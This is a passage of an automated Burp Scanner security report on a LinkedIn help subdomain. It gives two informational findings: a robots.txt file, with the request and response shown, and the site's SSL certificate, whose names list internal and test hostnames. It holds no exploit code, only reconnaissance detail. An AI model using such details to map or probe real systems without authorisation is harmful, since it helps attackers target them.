Confidence:   Certain
Host:   https://asistenta.linkedin.com
Path:   /app/home

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

Request

GET /robots.txt HTTP/1.0
Host: asistenta.linkedin.com

Response

HTTP/1.1 200 OK
Date: Fri, 09 Dec 2011 03:50:51 GMT
Server: Apache
Last-Modified: Mon, 17 Oct 2011 23:05:38 GMT
Accept-Ranges: bytes
Content-Length: 4033
RNT-Time: D=5969 t=1323402651305531
RNT-Machine: 0.14
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

Sitemap: http://asistenta.linkedin.com/ci/sitemap/ # ADDED BY HMS

User-agent: * # CUSTOM
Disallow: # CUSTOM
Crawl-delay: 0.2 # CUSTOM
Crawl-delay: 0.2 # CUS
...[SNIP]...

4. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://asistenta.linkedin.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  help.linkedin.com, help-internal.linkedin.com, help-test.linkedin.com, ja.help.linkedin.com, aide.linkedin.com, in.bantuan.linkedin.com, yardim.linkedin.com, ru.help.linkedin.com, ms.bantuan.linkedin.com, ko.help.linkedin.com, hjalp.linkedin.com, asistenta.linkedin.com, hilfe.linkedin.com, help-test2.linkedin.com, ayuda.linkedin.com, help-enterprise.linkedin.com, ajuda.linkedin.com, guida.linkedin.com
Issued by:  Thawte SGC CA - G2
Valid from:  Thu Nov 03 19:00:00 CDT 2011
Valid to:  Sat Nov 03 18:59:59 CDT 2012

Certificate chain #1

Issued to:  Thawte SGC CA - G2, CN=VeriSignMPKI-2-17
Issued by:  VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:  Wed Jul 28 19:00:00 CDT 2010
Valid to:  Tue Jul 28 18:59:59 CDT 2020

Certificate chain #2

Issued to:  VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:  VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:  Tue Nov 07 18:00:00 CST 2006
Valid to:  Wed Jul 16 18:59:59 CDT 2036

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by Burp Scanner at Wed Aug 08 11:11:07 EDT 2012.